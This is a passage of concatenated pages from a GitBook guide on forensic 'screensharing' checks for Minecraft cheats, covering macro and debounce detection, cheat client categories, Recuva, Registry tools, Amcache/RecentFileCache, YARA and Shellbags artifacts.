as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/general-detection-strategy.md) . Detection therefore involves: 1. **Identify Mouse Model:** Determine the exact mouse model the player is using. 2. **Check Software Support:** Ascertain if that specific model _allows_ debounce time adjustment via its software. (Not all gaming mice do). 3. **Inspect Software Settings:** If adjustment is possible, **directly check the setting within the mouse's software GUI**. Look for sliders, dropdowns, or checkboxes related to "Debounce Time," "Click Response Time," or similar terms. 4. **Examine Configuration Files:** Check the software's configuration files (often the same locations used for macros, as listed previously) for saved values related to debounce settings. Keywords might include "debounce," "db\_time," "click\_latency," etc. [PreviousServer Rules Context](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/server-rules-context) [NextDetection by Mouse Brand](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/detection-by-mouse-brand) Last updated 1 year ago --- # Categorizing Minecraft Cheats (Context for Analysis) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/categorizing-minecraft-cheats-context-for-analysis.md) . Before diving into specific analysis techniques, it's helpful to understand the broad categories cheats fall into, as this informs the detection approach: **Note:** _The specific definitions of these terms have changed over the years and still are not defined by everyone in the same way. This matters little. In the end, these terms are conventions that serve to understand each other among us ScreenSharers and Bypassers._ * **Ghost Clients:** These modify the game from the inside, often packaged as modified **versions** (replacing vanilla/Forge `.jar` files in the `versions` folder), **mods** (placed in the `mods` folder), or sometimes modified **libraries**. They leave traces within the `.minecraft` folder structure and often in the `javaw.exe` process memory. * **Injection Clients:** Typically involve an external **injector executable (**`**.exe**`**)** that loads a malicious **Dynamic Link Library (**`**.dll**`**)** into the running `javaw.exe` process. The DLL then uses interfaces like JNI or JVMTI to modify game behavior. Detection involves finding the injector/DLL files externally _and_ looking for traces of the injected module in the game's memory. * **External Clients:** These usually run as separate **executables (**`**.exe**`**)** that interact with the game by reading and writing to the `javaw.exe` process's memory directly using Windows API functions, without injecting code _into_ the process. They leave minimal traces within the game's memory itself, requiring detection of the external executable and its activity on the system. * **Autoclickers/Macros:** These simulate mouse clicks or keyboard inputs externally using OS-level APIs or mouse software/hardware features. They may have minimal direct interaction with the `javaw.exe` process. Understanding these categories helps prioritize which artifacts and analysis techniques are most relevant based on the suspected type of cheat. [Previous.minecraft Folder (Location, Structure)](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/minecraft-and-java/minecraft-folder) [NextSpecific Analysis for Minecraft](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/fifth-section-specific-context-minecraft/specific-analysis-for-minecraft) Last updated 1 year ago --- # Usage in ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/usage-in-screensharing.md) . Recuva's primary role during a screenshare is to **attempt the recovery of recently deleted files**, particularly suspected cheats, tools, logs, or configuration files that the user might have tried to remove just before or during the check to evade detection. * **Scanning:** Launch Recuva (portable versions are often preferred for screenshares). Select the target drive (e.g., C:, a specific USB drive) and choose a scan type. A quick scan is faster but might miss deeply buried files; a deep scan takes significantly longer but is more thorough. Often, starting with a quick scan focused on likely locations (Downloads, Desktop, Temp) is practical. * **Interpreting Results:** Recuva lists potentially recoverable files it finds. It typically provides: * Filename (if recoverable). * Original Path (if recoverable). * Last Modified Time (of the original file). * Size. * **Recovery Chance/Status:** Often indicated by color-coding: **Green** (Excellent chance, likely not overwritten), **Orange** (Partial chance, might be partially overwritten or fragmented), **Red** (Unrecoverable, likely fully overwritten). * **Searching for Suspicious Files:** Filter or sort the results (e.g., by path, date modified/deleted) and look for recently deleted files with suspicious names, extensions (`.exe`, `.dll`, `.jar`, `.bat`, `.ps1`), or paths (e.g., deleted from common cheat locations or temporary folders). Check the estimated deletion time if available. * **Recovery (Use with Extreme Caution):** If a highly suspicious file is found with a **Green** recovery status, you _may_ attempt to recover it **for analysis purposes only**. * **Crucially:** Recover the file to a **completely different, designated location** (e.g., a new folder on the Desktop named "RecoveredEvidence"), **NEVER** back to its original path. This minimizes further data overwriting on the target drive. * Once recovered, the file can be subjected to further analysis (e.g., upload to VirusTotal, open in a decompiler or hex editor, check hash against known cheats). * **FAT32/exFAT Context:** On file systems like FAT32 or exFAT which lack robust journaling, file recovery tools like Recuva (alongside filesystem viewers like FTK Imager) become primary methods to even _see if_ files were deleted recently, let alone attempt recovery. Recuva can indicate if the space is likely overwritten, helping assess recovery feasibility. [PreviousUnderstanding Recuva](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/understanding-recuva) [NextLimitations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/limitations) Last updated 1 year ago --- # RedLotus Tools | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools.md) . This refers to a collection of specific, often standalone tools developed by RedLotus Developer to address particular needs during ScreenShares. [PreviousWindows Event Logs](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/system-configuration-and-persistence/windows-event-logs) [NextRedLotus Tool Downloader](https://itzicehere.gitbook.io/redlotusguide/screenshare-tools/redlotus-tools/redlotus-tool-downloader) Last updated 4 months ago --- # Accessing the Registry | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/accessing-the-registry.md) . Several tools allow viewing and interacting with the Registry: * **Regedit (**`**regedit.exe**`**):** * The built-in Windows graphical Registry Editor. * Accessed via Win+R -> `regedit`. Usually requires administrator privileges for full access. * Presents the Registry in a familiar tree structure (Hives > Keys > Subkeys). Values are displayed in the right pane. * _Forensic Significance:_ Direct execution of `regedit.exe` logged in Prefetch/BAM strongly implies **manual user interaction**. Check the "LastWriteTime" on keys in Regedit (View > Display Key Last Write Time) to see when they were last modified. Regedit also remembers the last key accessed before closing, which can occasionally provide clues. * **Reg.exe:** * The command-line utility for Registry operations (`reg query`, `reg add`, `reg delete`, `reg compare`, etc.). * _Forensic Significance:_ Execution logged in Prefetch/BAM or command history indicates **scripted or manual command-line manipulation**, often used for bypasses like clearing BAM entries or disabling security features. * **Third-Party Tools (Registry Explorer, etc.):** * **Registry Explorer (Eric Zimmerman):** A powerful, free, GUI-based forensic tool specifically designed for Registry analysis. It can parse live Registry hives or offline hive files (e.g., extracted from `C:\Windows\System32\config` or VSS). * _Key Features for Screensharing:_ * **Deleted Key/Value Indication:** Often visually highlights (e.g., with a specific icon like a red circled warning) the presence of **deleted keys or values** within a loaded hive's structure. Finding recently deleted entries in forensically relevant hives like BAM or UserAssist during the current boot session is **highly suspicious** evidence of cleanup attempts. * **Robust Search (CTRL+F):** Allows searching across keys, value names, value data, and even slack space for specific strings, keywords, dates (in UTC), or data sizes. * **Deleted Value Recovery:** Can often recover and display the data of deleted keys/values (usually highlighted, often in red text). * **Bookmarks:** Includes predefined bookmarks pointing to common forensically significant locations (UserAssist, BAM, Run Keys, USBStor, etc.). * **Timestamp Display:** Clearly displays the "Last Write Time" for each key, indicating the last time any value or subkey within it was modified. Displays timestamps in UTC by default. * _Usage Note:_ It's often recommended to launch Registry Explorer and load the necessary hives (NTUSER.DAT for user activity, SYSTEM/SOFTWARE for system config) _early_ in the screenshare. It takes a snapshot at the time of loading and doesn't update live, preserving the state at that moment against further changes by the user or system. Requires administrator privileges. * _Other Tools:_ RegScanner (Nirsoft) offers alternative search capabilities. [PreviousUnderstanding the Windows Registry](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/understanding-the-windows-registry) [NextForensically Relevant Registry Keys/Locations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/regedit-registry-explorer/forensically-relevant-registry-keyslocations) Last updated 1 year ago --- # Amcache/Syscache/RecentFileCache Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/amcachesyscacherecentfilecache-analysis.md) . Windows utilizes several databases as part of its Application Compatibility framework to track program execution, primarily for compatibility purposes but also creating valuable forensic artifacts. * The **Amcache.hve** file (located at `C:\Windows\AppCompat\Programs\Amcache.hve` on Windows 8/10/11) is a registry hive that logs details about executed applications. It records the executable path, SHA1 hash of the file, program installation/first execution time (often derived from link file creation), and potentially deletion timestamps. While not always reflecting the _absolute last_ execution time as accurately as Prefetch, Amcache provides strong proof that a program _was_ present and executed at least once, and entries can persist even after uninstallation. The SHA1 hash is particularly useful for identifying known malicious executables even if they were renamed. **AmcacheParser (Eric Zimmerman)** is the standard tool for parsing this hive. * On older systems, primarily **Windows 7**, the precursor artifact is **Syscache.hve**. It's often located within System Volume Information (`C:\Windows\System32\config\System.sav\Syscache.hve` or similar), requiring administrative privileges or offline mounting to access. It serves a similar function to Amcache, tracking executed programs and drivers. The community tool **Ruedas** has been noted for its ability to parse `Syscache.hve`. * Another related artifact, **RecentFileCache.bcf** (found at `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` on Win 7/8/10, though its usage varies), is a binary file tracking recently executed files. It can sometimes capture execution evidence missed by other caches or provide slightly more recent timestamps. **RecentFileCacheParser (Eric Zimmerman)** is used to analyze its contents. Collectively, these caches help establish a historical record of program execution on a system, complementing other artifacts like Prefetch. [PreviousAdvanced JumpLists/RecentDocs Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/advanced-jumplistsrecentdocs-analysis) [NextActivities Cache Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/activities-cache-analysis) Last updated 1 year ago --- # Definition and Mouse Abuse | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/definition-and-mouse-abuse.md) . _Debounce time_ is a mechanism implemented in both the physical switches of a mouse and its firmware/software. Its purpose is to prevent a single physical actuation of the mouse button from registering as multiple clicks (often called "double-clicking"). This is necessary because the mechanical components inside a switch can physically "bounce" momentarily upon contact, creating spurious electrical signals. The debounce time introduces a very short delay (a "blanking period") after a click is registered, during which the mouse ignores further signals from that switch. * **Typical Debounce:** For most standard office or gaming mice, the default debounce time is typically around **8ms, 10ms, or sometimes higher (e.g., 16ms)**. This is usually sufficient to filter out unintentional bounces during normal clicking. * **Mouse Abuse:** This term refers to the practice of combining mice that have **adjustable or inherently very low debounce times** (often configurable via software to values **significantly below 10ms**, sometimes even 0-4ms) with specific physical clicking techniques (most notably **drag clicking** and certain forms of **butterfly clicking**). These techniques intentionally cause the mouse switch to vibrate rapidly. A standard debounce time would filter these vibrations, but a very low debounce time allows these rapid physical vibrations to be registered by the mouse firmware as multiple distinct clicks in quick succession. This results in **artificially inflated CPS rates** (often 20+ CPS, sometimes much higher) that are physically impossible to achieve through standard clicking methods on mice with normal debounce settings. [PreviousDebounce Time Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis) [NextServer Rules Context](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/server-rules-context) Last updated 1 year ago --- # Detecting On-Board Macros | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-on-board-macros.md) . _On-board macros_ are stored directly within the mouse's internal memory, allowing them to function even if the manufacturer's software is not running or installed. Detecting these requires focusing on the mouse's real-time input behavior rather than just PC files. **Identification of Mouse Model (Crucial First Step):** **Knowing the exact mouse model is essential** before testing. This allows the ScreenSharer to know the expected number and default function of all physical buttons on the mouse. Many gaming mice have extra buttons beyond the standard Left, Right, Middle, Forward, Back (e.g., "sniper" buttons, DPI shift buttons, profile switch buttons, sometimes marketed as "Fire Keys"). Failure to account for these extra buttons can lead to misinterpretations during testing. Methods to identify the model: * Ask the player directly (if permitted by server policy). * Check Windows Settings: Navigate to Bluetooth & Devices > Devices > Mouse (or similar paths depending on Windows version). The listed device name often includes the model. * Device Manager: Look under "Mice and other pointing devices," check properties, and look up Hardware IDs online. * USB Device History Tools: Tools like USBDeview (Nirsoft) or Echo's USBDeview alternative list connected devices and their names/IDs. * Visual Confirmation (If Allowed/Practical): If server policy and player cooperation permit, requesting a photo or video of the mouse via Discord, Telegram, etc., can be definitive. **Mouse Button Test Procedure:** 1. **Use a Reliable Button Tester:** Utilize a comprehensive online mouse button testing tool. Websites like [cpstest.org/mouse-test/](https://cpstest.org/mouse-test/) or [cps-check.com/mouse-buttons-test](https://cps-check.com/mouse-buttons-test) are often recommended as they tend to detect a wider range of buttons (including extra side/top buttons) compared to simple in-game keybind menus or basic Windows settings. 2. **Instruct the Player:** Clearly instruct the player to physically press **each and every button** on their mouse, one at a time. Ensure they press all side buttons, top buttons (excluding perhaps dedicated DPI cycle buttons unless suspect), and the standard buttons. 3. **Observe Carefully:** Watch the output on the testing tool closely as the player presses each physical button. 4. **Identify Mismatches (Failure Condition / Red Flag):** The key indicator of an on-board macro is a **consistent mismatch** between the physical button pressed and the button registered by the testing tool. For example: * Player presses the physical "Forward" side button, but the tester registers it as a "Left Click". * Player presses a dedicated extra top button (e.g., a "Fire Key"), but the tester registers it as a "Left Click". * This should happen multiple times consecutively when pressing that specific physical button. 5. **Rationale for Detection:** To store and trigger a macro using the mouse's on-board memory, one of the mouse's physical buttons must typically be **reprogrammed** within the mouse firmware/memory to execute the macro sequence instead of its default function (like "Forward" or "Back"). This "sacrificed" button then acts as the trigger for the often rapid-click macro, leading to the mismatch observed in the test. **VERY IMPORTANT: The Two-Test Protocol** It is **absolutely critical** to perform the entire mouse button test procedure described above **TWICE**, under slightly different conditions: * **Test 1: Software OPEN:** Conduct the first test while the mouse's proprietary software (G HUB, Synapse, Swarm, etc.) is **fully open and running** (visible in the taskbar, system tray, or Task Manager processes). * **Test 2: Software CLOSED:** Conduct the second test only after the mouse's proprietary software has been **completely closed and terminated**. This means ensuring its main process is killed via Task Manager and verifying it's not still running minimized in the system tray. **Reasoning for Two Tests:** Some gaming mice (especially certain models or firmware versions) prioritize settings loaded from the **running software** over those stored in the **on-board memory**. When the software is running, it might effectively override or disable any macros stored directly on the mouse. Only when the software is fully closed does the mouse revert to using its internal on-board profiles and settings. Therefore, an on-board macro might only become detectable during the **second test** (software closed). Failing to perform both tests can lead to missed on-board macros. [PreviousDetecting Software-Based Macros](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-software-based-macros) [NextDebounce Time Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis) Last updated 1 year ago --- # Recuva (Deleted File Recovery) | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva.md) . [Understanding Recuva](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/understanding-recuva) [Usage in ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/usage-in-screensharing) [Limitations](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/limitations) [PreviousKey Considerations for ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/key-considerations-for-screensharing) [NextUnderstanding Recuva](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva/understanding-recuva) Last updated 1 year ago --- # Key Considerations for ScreenSharing | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/key-considerations-for-screensharing.md) . * **Timestamps:** Use the "Date and Time" logged for each event to correlate with other activities. * **Filtering is Essential:** Always use filters (Event ID, Time Range, Keywords, Source) to navigate the large volume of logs efficiently. * **Context Matters:** Don't rely on a single event ID in isolation unless it's highly indicative (like 1102 or 3079). Look for patterns, correlating events, and the specific context (e.g., which process initiated a time change). [PreviousKey Event Logs and IDs for ScreenSharing](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/event-viewer/key-event-logs-and-ids-for-screensharing) [NextRecuva (Deleted File Recovery)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/seventh-section-manual-ss-techniques/recuva) Last updated 1 year ago --- # YARA Rules | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/yara-rules.md) . _YARA_ is a powerful tool often described as "the pattern matching swiss knife for malware researchers." It's not an analysis technique itself, but a tool that enables **rule-based identification** of files or memory regions based on textual or binary patterns. YARA works by defining _rules_. Each rule consists of: * A **strings** section: Defines specific text strings (ASCII/Unicode) or hexadecimal byte patterns to search for. * A **condition** section: A boolean expression that specifies the logic for a match (e.g., "find file containing string $a AND string $b", "find file containing any of strings $s\*", "find file where filesize is > 1MB and string $c is present"). When YARA scans a target (a file, a directory, or a process memory space) and finds content that matches the strings _and_ satisfies the condition of a rule, it reports a match based on the rule's identifier. In screensharing and DFIR, YARA is used for: * **Hunting for Known Cheats/Malware:** Create rules based on unique strings, code snippets, import hashes (imphashes), or metadata extracted from known cheat files or malware samples (using tools like HxD, DiE). Scan suspicious files or process memory with these rules. * **Classifying Files:** Write rules to identify files with specific characteristics (e.g., packed executables based on section names or entropy, files requiring admin privileges, files containing specific API calls). * **Memory Scanning Integration:** Integrate YARA scanning into memory analysis workflows. Tools like **Volatility (**`**yarascan**` **plugin)** and **Velociraptor (**`**yara()**` **VQL function)** allow applying YARA rules directly to memory dumps or live process memory to find injected code or memory-resident artifacts. Automated SS tools like **Ocean** and **Golden** have also implemented YARA for enhanced detection. * **Flexibility:** YARA supports wildcards, case-insensitivity, regular expressions, and modules, allowing for the creation of highly specific and adaptable detection rules. Using YARA effectively requires access to good rules (either publicly available like those from Florian Roth, community-sourced, or custom-developed) and understanding how to apply them to the right targets (files vs. memory). It serves as a powerful **hunting tool** to flag items warranting deeper investigation based on predefined patterns. [PreviousProcess and Memory Dump Analysis (Kernel Live Dump, RAM Dump)](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/process-and-memory-dump-analysis) [NextFile Entropy Analysis](https://itzicehere.gitbook.io/redlotusguide/screensharing-general-knowledge/ninth-section-more-artifact-analysis-for-screensharing/file-entropy-analysis) Last updated 1 year ago --- # Debounce Time Analysis | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis.md) . [Definition and Mouse Abuse](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/definition-and-mouse-abuse) [Server Rules Context](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/server-rules-context) [General Detection Strategy](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/general-detection-strategy) [Detection by Mouse Brand](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/detection-by-mouse-brand) [PreviousDetecting On-Board Macros](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/2-macro-analysis/detecting-on-board-macros) [NextDefinition and Mouse Abuse](https://itzicehere.gitbook.io/redlotusguide/screensharing-minecraft-knowledge/sixth-section-mouse-macro-and-input-analysis-in-screensharing/3-debounce-time-analysis/definition-and-mouse-abuse) Last updated 1 year ago --- # RecentFileCache | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache#purpose-and-function) Purpose and Function The **RecentFileCache.bcf** is a binary file used by the Windows operating system, primarily as part of its Application Compatibility framework. Similar to Amcache/Syscache, its purpose is to cache information about recently executed applications to assist with compatibility checks and system performance. It functions as a straightforward, short-term log of program executions. From a DFIR standpoint, `RecentFileCache.bcf` serves as another valuable, albeit less detailed, source of execution evidence. It is particularly useful because it can sometimes contain traces of executed programs that are not found in other, more commonly analyzed artifacts, or it may provide slightly different temporal data, helping to corroborate or expand a timeline. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache#location-and-structure) Location and Structure The `RecentFileCache.bcf` is a single binary file located in the same directory as the `Amcache.hve` hive. * **Location:** `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` The file has a simple internal structure, typically containing a header and a series of sequential entries. Each entry represents an executed program and stores a limited set of metadata. Due to its binary format, it must be parsed with specialized tools to be human-readable. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache#stored-metadata) Stored Metadata Compared to Amcache, the metadata stored in `RecentFileCache.bcf` is more concise. A typical entry includes: * **File Path:** The full path of the executable that was launched. * **File Size:** The size of the executable file. * **Execution Timestamp:** A timestamp that generally reflects the time of execution. The exact nature of this timestamp can vary between Windows versions and system states. The cache has a limited size and operates on a first-in, first-out (FIFO) basis. As new programs are executed, their information is added to the cache, and older entries are eventually overwritten. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache#forensic-value) Forensic Value While not as comprehensive as artifacts like Prefetch or SRUM, `RecentFileCache.bcf` is a valuable piece of the investigative puzzle for several reasons: * **Quick Execution Confirmation:** It provides a simple and direct way to confirm that an executable was run on the system. * **Complementary Evidence:** Its primary value lies in its ability to corroborate evidence from other sources. Finding an executable's path in both `RecentFileCache.bcf` and another artifact (like BAM) strengthens the certainty of the finding. * **Unique Traces:** In some cases, due to the nuances of Windows logging, an execution might be recorded in `RecentFileCache.bcf` but not in other locations, especially if other artifacts were cleared or failed to update. This makes it a crucial secondary source to check. * **Simplicity:** Its straightforward structure makes it relatively easy and fast to parse, allowing for a quick check of recent system activity. However, its limited size and lack of detailed metadata (like run counts or file hashes) make it less powerful as a standalone source of evidence compared to its more robust counterparts. * * * #### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache#reflection-points-ss-contest) Reflection points (SS Contest) For a ScreenSharer, `RecentFileCache.bcf` is a quick-hit artifact that can provide that one extra piece of evidence needed to confirm a suspicion. * **The Corroborating Hit:** Its main role in a screenshare is to back up other findings. If you find a suspicious executable in Prefetch, finding it also listed in `RecentFileCache.bcf` adds another layer of certainty to your evidence, making it harder for the player to dispute. * **Finding What's Missing:** If you suspect a player has cleared their Prefetch or BAM, `RecentFileCache.bcf` might still hold the trace you need. It's a key part of a "leave no stone unturned" approach to checking for execution evidence. * **Speed and Efficiency:** During a time-sensitive screenshare, parsing this file with a tool like Eric Zimmerman's `RecentFileCacheParser` is extremely fast and can give an immediate overview of recently run programs, helping to quickly identify targets for deeper investigation. [PreviousAmcache / Syscache](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/amcache-syscache) [NextActivities Cache](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/activities-cache) Last updated 9 months ago * [Purpose and Function](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache#purpose-and-function) * [Location and Structure](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache#location-and-structure) * [Stored Metadata](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache#stored-metadata) * [Forensic Value](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/program-execution/recentfilecache#forensic-value) --- # Shellbags | RedLotus Guide For the complete documentation index, see [llms.txt](https://itzicehere.gitbook.io/redlotusguide/llms.txt) . This page is also available as [Markdown](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags.md) . ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags#purpose-and-function) Purpose and Function **Shellbags** are a set of registry keys that serve as a forensic artifact to track a user's folder navigation history. Their primary function for the Windows operating system is to remember a user's viewing preferences for specific folders (e.g., icon size, view mode like "Details" or "List", column widths, and window position). When a user reopens a folder, Windows uses the Shellbag information to restore the window to its previous state, creating a consistent user experience. From a DFIR perspective, this functionality creates a meticulous and persistent record of every directory a user has accessed through Windows Explorer. Shellbags can prove that a user navigated to a specific folder, even if the folder and its contents have since been deleted. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags#location-and-structure) Location and Structure Shellbag information is stored in the Windows Registry, primarily within two user-specific hive files: * `**NTUSER.DAT**`**:** Contains Shellbags for desktop, network, and local folder access. * Path: `HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\BagMRU` * Path: `HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Bags` * `**UsrClass.dat**`**:** Contains Shellbags for folders accessed through zip archives, Control Panel, and other shell namespaces. * Path: `HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU` * Path: `HKEY_CURRENT_USER\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags` The structure is hierarchical and complex: * The `**BagMRU**` keys act as an index, storing the directory structure in a "Most Recently Used" order. Each numbered value corresponds to a sub-folder. * The `**Bags**` keys store the actual viewing preference data (window size, sort order, etc.) for the folders listed in the `BagMRU` structure. The NodeSlot value within a `BagMRU` key links it to a specific entry in the `Bags` key. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags#stored-metadata) Stored Metadata While the primary stored data relates to folder preferences, the forensic value comes from the structural information and associated timestamps: * **Full Directory Path:** The complete path to the folder that was accessed can be reconstructed by traversing the `BagMRU` tree structure. * **Folder Type:** Information about the type of folder (e.g., local disk, network share, removable device, zip file). * **First Interaction Timestamp:** Some Shellbag entries, particularly on newer versions of Windows, can provide a timestamp indicating when the user first interacted with the folder. * **Last Interaction Timestamp:** The "LastWrite" time of the parent registry key often corresponds to the last time a folder within that structure was accessed, providing a temporal anchor. ### [](https://itzicehere.gitbook.io/redlotusguide/advanced-explanation-of-artifacts/user-activity-and-knowledge/shellbags#forensic-value) Forensic Value Shellbags are a powerful artifact for proving a user's knowledge of and interaction with specific locations on a system. * **Proving "Knowledge of a Path":** This is their most critical forensic value. Shellbags can prove that a user navigated to a folder, even if that folder is now deleted or was on a removable drive that has since been disconnected. This is crucial for refuting claims of ignorance (e.g., "I never knew that 'My Cheats' folder existed"). * **Reconstructing User Activity:** By analyzing the Shellbag structure, an analyst can reconstruct a user's folder navigation patterns, showing how they moved through the file system. * **Identifying Access to Removable Media:** Shellbags create entries for folders on USB drives and other removable media, providing a history of access even after the device is unplugged. * **Persistence:** Shellbag entries are remarkably persistent. They are not typically cleared by standard cleanup utilities and can survive for a long time, providing a deep historical record of user navigation. Parsing Shellbags manually is extremely difficult. Specialized tools like Eric Zimmerman's `**ShellBagsExplorer**` or forensic suites 